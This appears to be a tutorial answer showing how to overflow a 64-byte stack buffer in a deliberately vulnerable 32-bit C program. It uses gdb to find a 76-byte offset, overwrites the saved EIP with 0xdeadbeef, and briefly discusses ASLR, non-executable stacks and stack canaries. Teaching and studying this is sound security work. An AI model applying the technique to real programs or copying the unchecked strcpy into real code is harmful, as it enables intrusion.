First, you better try to overflow the saved eip
of a regular function, not main()
. It is not really different, but the main()
function is a bit specific and might give you a distorted view of reality.
Let's try with this code:
#include <stdio.h>
#include <string.h>
void foo(char *msg)
{
char buf[64];
printf ("You entered value %s\n", msg);
strcpy (buf, msg);
printf ("%s\n", buf);
}
int main (int argc, char *argv[])
{
if (argc > 1)
foo(argv[1]);
printf ("Program is exiting normally!\n");
return 0;
}
First, lets compile it:
$> gcc -Wall -Wextra -std=c11 -m32 -g -o vulnerable vulnerable.c
Then, lets start it with gdb
:
$> gdb -q ./vulnerable
Reading symbols from ./vulnerable...done.
(gdb) b foo
Breakpoint 1 at 0x11db: file vulnerable.c, line 7.
(gdb) r $(python -c 'print("A" * 64)')
Starting program: /tmp/vulnerable $(python -c 'print("A" * 64)')
Breakpoint 1, foo (msg=0xffffd53a 'A' <repeats 64 times>) at vulnerable.c:7
7 printf ("You entered value %s\n", msg);
(gdb)
Now, we are just at the point where we can overflow the buffer and overwrite the saved eip
which is stored on the stack. But, we entered only 64 'A
' (the size of the buffer), and we need to know how many 'A
' we need to insert to reach the saved eip
on the stack.
What we will try to do is:
- Get the address of the buffer;
- Get the address of the saved
eip
on the stack;
- Get the difference between these two addresses which should give us the exact size of the padding we need to insert to reach the saved
eip
.
Lets go:
(gdb) p &buf
$1 = (char (*)[64]) 0xffffd280
(gdb) info frame
Stack level 0, frame at 0xffffd2d0:
eip = 0x565561db in foo (vulnerable.c:7); saved eip = 0x56556249
called by frame at 0xffffd300
source language c.
Arglist at 0xffffd2c8, args: msg=0xffffd53a 'A' <repeats 64 times>
Locals at 0xffffd2c8, Previous frame's sp is 0xffffd2d0
Saved registers:
ebx at 0xffffd2c4, ebp at 0xffffd2c8, eip at 0xffffd2cc
(gdb) p 0xffffd2cc-0xffffd280
$3 = 76
Now, we know that if we feed the program with 76 characters of padding, we will overwrite the saved eip
with the next 4 characters (you are in 32-bit here).
Lets try:
(gdb) r $(python -c 'print("A" * 76 + "\xde\xad\xbe\xef"[::-1])')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vulnerable $(python -c 'print("A" * 76 + "\xde\xad\xbe\xef"[::-1])')
Breakpoint 1, foo (
msg=0xffffd52a 'A' <repeats 76 times>, <incomplete sequence \336>)
at vulnerable.c:7
7 printf ("You entered value %s\n", msg);
(gdb) n
You entered value AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
8 strcpy (buf, msg);
(gdb) info frame
Stack level 0, frame at 0xffffd2c0:
eip = 0x565561f0 in foo (vulnerable.c:8); saved eip = 0x56556249
called by frame at 0xffffd2f0
source language c.
Arglist at 0xffffd2b8, args:
msg=0xffffd52a 'A' <repeats 76 times>, <incomplete sequence \336>
Locals at 0xffffd2b8, Previous frame's sp is 0xffffd2c0
Saved registers:
ebx at 0xffffd2b4, ebp at 0xffffd2b8, eip at 0xffffd2bc
(gdb) n
9 printf ("%s\n", buf);
(gdb) info frame
Stack level 0, frame at 0xffffd2c0:
eip = 0x56556202 in foo (vulnerable.c:9); saved eip = 0xdeadbeef
called by frame at 0xffffd2c4
source language c.
Arglist at 0xffffd2b8, args:
msg=0xffffd500 "S\340\347Q\217\363\004x(\355\ri686"
Locals at 0xffffd2b8, Previous frame's sp is 0xffffd2c0
Saved registers:
ebx at 0xffffd2b4, ebp at 0xffffd2b8, eip at 0xffffd2bc
Now, we have the complete control of the saved eip
as we just wrote 0xdeadbeef
on it. Thus, we can control the execution once we exit from this foo()
function.
If you want to look at what you just wrote on the stack, now you can do:
(gdb) x /32x $esp
0xffffd270: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd280: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd290: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd2b0: 0x41414141 0x41414141 0x41414141 0xdeadbeef
0xffffd2c0: 0xffffd500 0xffffd384 0xffffd390 0x5655622b
0xffffd2d0: 0xffffd2f0 0x00000000 0x00000000 0xf7de79a1
0xffffd2e0: 0xf7fa4000 0xf7fa4000 0x00000000 0xf7de79a1
As you can see, you find all the 76 'A
' followed by the 0xdeadbeef
. In fact, this is your buffer buf
, followed by the saved ebp
and the saved eip
that you just rewrote.
A final note about the ASLR and the non-executable stack. These two protections are not playing any role here. They have to be disabled only if you want to execute a shellcode you inject through this overflow. The ASLR render more difficult to write a meaningful address in place of 0xdeadbeef
because the memory context will change all the time. And, the non-executable stack, will just ruin your attempts to execute code on the stack.
If you just want to control the saved eip
, you only need to disable the stack canaries (stack-protector
option). The rest will be meaningful only afterward when you will try to use this control to redirect it to some code you own.